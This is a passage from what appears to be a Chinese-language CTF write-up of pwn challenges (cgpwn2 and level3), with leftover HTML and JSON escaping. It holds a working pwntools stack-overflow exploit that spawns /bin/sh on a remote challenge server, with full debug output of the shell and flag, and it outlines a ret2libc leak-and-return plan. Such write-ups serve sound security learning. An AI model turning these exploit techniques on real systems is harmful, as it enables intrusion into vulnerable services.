int pwn()\n{\n return system("echo hehehe");\n}<\/code><\/pre>\n\u53ef\u4ee5\u770b\u5230\u7b2c\u4e00\u4e2a\u8f93\u5165\u70b9\u6709\u4e00\u4e2aname\uff0c\u70b9\u51fb\u8ddf\u8fdb\uff1a<\/p>\n
<\/div><\/p>\n\n- name\u5728bss\u6bb5\u4e2d\uff0c\u5730\u5740\u56fa\u5b9a\u4e0d\u53d8<\/li>\n
- \u53ef\u4ee5\u5229\u7528fgets\u51fd\u6570\u5411\u5176\u4e2d\u5199\u4e1c\u897f<\/li>\n
- \u7a0b\u5e8f\u4e2d\u8c03\u7528\u4e86system\u51fd\u6570\uff0c\u4f46\u662f\u6ca1\u6709\/bin\/sh<\/li>\n<\/ul>\n
\u53ef\u4ee5\u901a\u8fc7\u6808\u6ea2\u51fa\u6f0f\u6d1e\uff0c\u8c03\u7528system\u51fd\u6570\uff0c\u5411name\u4e2d\u5199\u5165\/bin\/sh<\/code>\uff0c\u628a\u53c2\u6570\u5730\u5740\u8bbe\u7f6e\u4e3aname\u7684\u9996\u5730\u5740\u3002<\/p>\n#exp.py\n#!usr\/bin\/python\nfrom pwn import *\nio = remote("111.200.241.244",63685)\ncontext.log_level = 'debug'\nio.recvuntil("your name")\nio.sendline("\/bin\/sh")\nio.recvuntil("leave some message here:")\npayload = "a" * 0x26 + "aaaa" + p32(0x08048420).decode('unicode_escape') + "aaaa" + p32(0x0804A080).decode('unicode_escape')\nio.sendline(payload)\nio.interactive()<\/code><\/pre>\n\u8fd0\u884c\u5373\u53ef\u5f97\u5230flag\uff1a<\/p>\n
Pwn@ubuntu:~\/\u684c\u9762$ python exp.py \n[+] Opening connection to 111.200.241.244 on port 63685: Done\nexp.py:6: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https:\/\/docs.pwntools.com\/#bytes\n io.recvuntil("your name")\n[DEBUG] Received 0x18 bytes:\n b'please tell me your name'\nexp.py:7: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https:\/\/docs.pwntools.com\/#bytes\n io.sendline("\/bin\/sh")\n[DEBUG] Sent 0x8 bytes:\n b'\/bin\/sh\\n'\nexp.py:8: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https:\/\/docs.pwntools.com\/#bytes\n io.recvuntil("leave some message here:")\n[DEBUG] Received 0x1 bytes:\n b'\\n'\n[DEBUG] Received 0x27 bytes:\n b'hello,you can leave some message here:\\n'\nexp.py:10: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https:\/\/docs.pwntools.com\/#bytes\n io.sendline(payload)\n[DEBUG] Sent 0x37 bytes:\n 00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 \u2502aaaa\u2502aaaa\u2502aaaa\u2502aaaa\u2502\n *\n 00000020 61 61 61 61 61 61 61 61 61 61 20 84 04 08 61 61 \u2502aaaa\u2502aaaa\u2502aa \u00b7\u2502\u00b7\u00b7aa\u2502\n 00000030 61 61 80 a0 04 08 0a \u2502aa\u00b7\u00b7\u2502\u00b7\u00b7\u00b7\u2502\n 00000037\n[*] Switching to interactive mode\n\n$ ls\n[DEBUG] Sent 0x3 bytes:\n b'ls\\n'\n[DEBUG] Received 0x24 bytes:\n b'bin\\n'\n b'cgpwn2\\n'\n b'dev\\n'\n b'flag\\n'\n b'lib\\n'\n b'lib32\\n'\n b'lib64\\n'\nbin\ncgpwn2\ndev\nflag\nlib\nlib32\nlib64\n$ cat flag\n[DEBUG] Sent 0x9 bytes:\n b'cat flag\\n'\n[DEBUG] Received 0x2d bytes:\n b'cyberpeace{78b0c6c2bad0d97333324124764d0dd0}\\n'\ncyberpeace{78b0c6c2bad0d97333324124764d0dd0}<\/code><\/pre>\nlevel3<\/h2>\n
<\/div><\/p>\n\u8fd9\u4e2a\u9898\u76ee\u9644\u4ef6\u6253\u5f00\u662f\u4e00\u4e2a\u538b\u7f29\u5305\uff0c\u538b\u7f29\u5305\u89e3\u538b\u7f29\u4ee5\u540e\u5728 windows \u663e\u793a\u6b63\u5e38\u662f\u6587\u6863\uff0c\u4f46\u5728linux\u663e\u793a\u8fd8\u662f\u4e00\u4e2a\u538b\u7f29\u5305\uff0c\u4e14\u63d0\u53d6\u89e3\u538b\u4f1a\u4ea7\u751f\u9519\u8bef\u3002<\/p>\n
<\/div><\/p>\n\u8fdc\u7a0b\u8fde\u63a5\u4e00\u4e0b\u770b\u770b\uff1a<\/p>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/Desktop]\n\u2514\u2500$ nc 111.200.241.244 52403\nInput:\n123456789 \nHello, World!<\/code><\/pre>\n\u5c1d\u8bd5\u4e86\u5f88\u957f\u65f6\u95f4\uff0c\u7ec8\u4e8e\u6210\u529f\uff01\uff01\uff01\uff01\uff01<\/p>\n
<\/div><\/p>\n\u5148\u67e5\u770b\u4e00\u4e0b\u57fa\u672c\u4fe1\u606f\uff1a<\/p>\n
[*] '\/home\/kali\/Desktop\/level3'\n Arch: i386-32-little\n RELRO: Partial RELRO\n Stack: No canary found\n NX: NX enabled\n PIE: No PIE (0x8048000)\n[*] '\/home\/kali\/Desktop\/libc_32.so.6'\n Arch: i386-32-little\n RELRO: Partial RELRO\n Stack: Canary found\n NX: NX enabled\n PIE: PIE enabled<\/code><\/pre>\n\u7528IDA\u6253\u5f00\u770b\u4e00\u4e0b\uff1a<\/p>\n
\u67e5\u770b\u4e00\u4e0b string\uff1a<\/p>\n
<\/div><\/p>\n\u518d\u67e5\u770b\u4e00\u4e0b\u51fd\u6570\uff1a<\/p>\n
#level3\u7684main\u51fd\u6570\nint __cdecl main(int argc, const char **argv, const char **envp)\n{\n vulnerable_function();\n write(1, "Hello, World!\\n", 0xEu);\n return 0;\n}<\/code><\/pre>\n#vulnerable_function()\u51fd\u6570\nssize_t vulnerable_function()\n{\n char buf; \/\/ [esp+0h] [ebp-88h]\n\n write(1, "Input:\\n", 7u);\n return read(0, &buf, 0x100u);\n}<\/code><\/pre>\n\u8fd9\u9898\u6211\u53ea\u770b\u51fabuf<\/code>\u5728read\u51fd\u6570<\/code>\u4e2d\u8fdb\u884c\u4e86\u8c03\u7528\u3002\u53ef\u4ee5\u8fdb\u884c\u6ea2\u51fa\u3002\u5269\u4e0b\u7684\u53c2\u8003\u7684\u662f\u4e24\u4f4d\u5e08\u5085\u5199\u7684wp:<\/p>\n\n\u653b\u51fb\u601d\u8def\uff1a libc\u4e2d\u7684\u51fd\u6570\u7684\u76f8\u5bf9\u5730\u5740\u662f\u56fa\u5b9a\u7684\uff0c\u8981\u60f3\u83b7\u53d6\u5230system\u51fd\u6570\u7684\u5730\u5740\uff0c\u53ef\u4ee5\u901a\u8fc7write()\u51fd\u6570\u8fdb\u884coffset\u8ba1\u7b97\u3002<\/code><\/p>\n1. \u9996\u5148\u5229\u7528write()\u51fd\u6570\u8ba1\u7b97\u51fawrite()\u51fd\u6570\u7684\u771f\u5b9e\u5730\u5740\uff1b<\/code><\/p>\n2. \u5229\u7528\u76f8\u5bf9offset\u8ba1\u7b97\u51fasystem\u548c"\/bin\/sh"\u7684\u771f\u5b9e\u5730\u5740\u3002<\/code>
\n\u5728vulnerable_function()\u4e2d\uff0c\u5148\u8c03\u7528\u4e86write()\u51fd\u6570\uff0c\u7136\u540e\u8c03\u7528read()\u51fd\u6570\u3002write()\u51fd\u6570\u8fd4\u56de\u5230vulnerable_function()\u540e\uff0c\u518d\u8fdb\u884cread()\u51fd\u6570\u8c03\u7528\uff0c\u8fd9\u6837\u6211\u4eec\u5c31\u53ef\u4ee5\u8fdb\u884c\u4e8c\u6b21\u653b\u51fb\u3002<\/p>\n\n- \u7b2c\u4e00\u6b21\u653b\u51fb\u6211\u4eec\u5229\u7528\u6808\u6ea2\u51fa\u5c06write()\u51fd\u6570\u5728got\u8868\u4e2d\u7684\u771f\u5b9e\u5730\u5740leak\u51fa\u6765\uff0c\u7136\u540e\u51cf\u53bblibc\u4e2d\u7684offset\uff0c\u5c31\u53ef\u4ee5\u5f97\u5230libc\u7684base address\u3002<\/li>\n
- \u7b2c\u4e8c\u6b21\u653b\u51fb\u91cd\u65b0\u8fdb\u5165main\u51fd\u6570\uff0c\u518d\u6b21\u901a\u8fc7\u6808\u6ea2\u51fa\uff0c\u5229\u7528system\u51fd\u6570\u8fdb\u884cgetshell\u3002` \u2014\u2014elsa____<\/strong><\/a><\/li>\n<\/ul>\n
\u8fd9\u91cc\u901a\u8fc7\u7a0b\u5e8f\u52a0\u8f7d\u7684libc\u91cc\u9762\u5e93\u51fd\u6570system\u548c\/bin\/sh\u5b57\u7b26\u4e32\u6765\u8fbe\u5230\u6211\u4eec\u7684\u76ee\u7684\uff0c\u7a0b\u5e8f\u5f00\u59cb\u8fd0\u884c\u7684\u65f6\u5019\uff0c\u4f1a\u628a\u6574\u4e2alibc\u6620\u5c04\u5230\u5185\u5b58\u7a7a\u95f4\uff0c\u540e\u9762\u7a0b\u5e8f\u8c03\u7528\u76f8\u5173\u5e93\u51fd\u6570\u7684\u65f6\u5019\uff0c\u4f1a\u4f9d\u7167plt-got\u8868\u7684\u673a\u5236\uff0c\u5c06\u6240\u9700\u7684\u5e93\u51fd\u6570\u52a0\u8f7d\u5230\u5185\u5b58\u7a7a\u95f4\u7684\u67d0\u4e2a\u865a\u62df\u5185\u5b58\u5730\u5740\uff0c\u7136\u540e\u8c03\u7528\u5c31\u4f1a\u901a\u8fc7plt-got\u8868\u8df3\u8f6c\u5230\u771f\u6b63\u7684\u51fd\u6570\u5185\u5b58\u5730\u5740\u5904\u5b8c\u6210\u529f\u80fd\u3002\u901a\u8fc7write\u51fd\u6570\u6cc4\u9732write\u51fd\u6570\u7684\u771f\u5b9e\u5730\u5740\uff0c\u7136\u540e\u901a\u8fc7write\u51fd\u6570\u7684\u771f\u5b9e\u5730\u5740\u8ba1\u7b97\u51fasystem\u51fd\u6570\u548c"\/bin\/sh"\u7684\u771f\u5b9e\u5730\u5740\uff0c\u7136\u540e\u8df3\u8f6c\u8fc7\u53bb\u6267\u884c\u3002\u8fd9\u5c31\u9700\u8981\u4e24\u6b21\u6ea2\u51fa\u3002<\/code><\/p>\n\u200b \u2014\u2014endust<\/p>\n<\/blockquote>\n
![\"image-20240204001639220\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040018225.png\")
<\/div><\/p>\n![\"image-20220211114511369\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040018227.png\")
<\/div><\/p>\n![\"image-20220211121005085\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040018229.png\")
<\/div><\/p>\n![\"image-20220211125117940\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040018230.png\")
<\/div><\/p>\n![\"image-20220211121759882\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040018231.png\")
<\/div><\/p>\n![\"image-20220213180959759\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040018232.png\")
<\/div><\/p>\n![\"image-20220215194630987\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040018233.png\")
<\/div><\/p>\n![\"image-20220215225404977\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040018234.png\")
<\/div><\/p>\n![\"image-20220216123235383\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040018235.png\")
<\/div><\/p>\n![\"image-20220216184211818\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040018236.png\")
<\/div><\/p>\n![\"image-20220217203523072\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040018237.png\")
<\/div><\/p>\n![\"image-20220217194147104\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040018238.png\")
<\/div><\/p>\n![\"image-20220217205654195\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040018239.png\")
<\/div><\/p>\n![\"image-20220217223157440\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040018240.png\")
<\/div><\/p>\n![\"image-20220217232120029\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040018241.png\")
<\/div><\/p>\n![\"image-20220218124757725\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040018242.png\")
<\/div><\/p>\n![\"image-20220218131150588\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040018243.png\")
<\/div><\/p>\n![\"image-20220218212541039\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040018244.png\")
<\/div><\/p>\n![\"image-20220218222726696\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040018245.png\")
<\/div><\/p>\n![\"image-20220218222302115\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040018246.png\")
<\/div><\/p>\n![\"image-20220218224255709\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040018247.png\")
<\/div>\n<\/p><\/blockquote>\n![\"image-20220218150828449\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040018248.png\")
<\/div><\/p>\n![\"image-20220218154911015\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040018249.png\")
<\/div><\/p>\n![\"image-20220218171508180\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040018250.png\")
<\/div><\/p>\n![\"image-20220218172248219\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040018251.png\")
<\/div><\/p>\n![\"image-20220218172720643\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040018252.png\")
<\/div><\/p>\n![\"image-20220218173840934\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040018253.png\")
<\/div><\/p>\n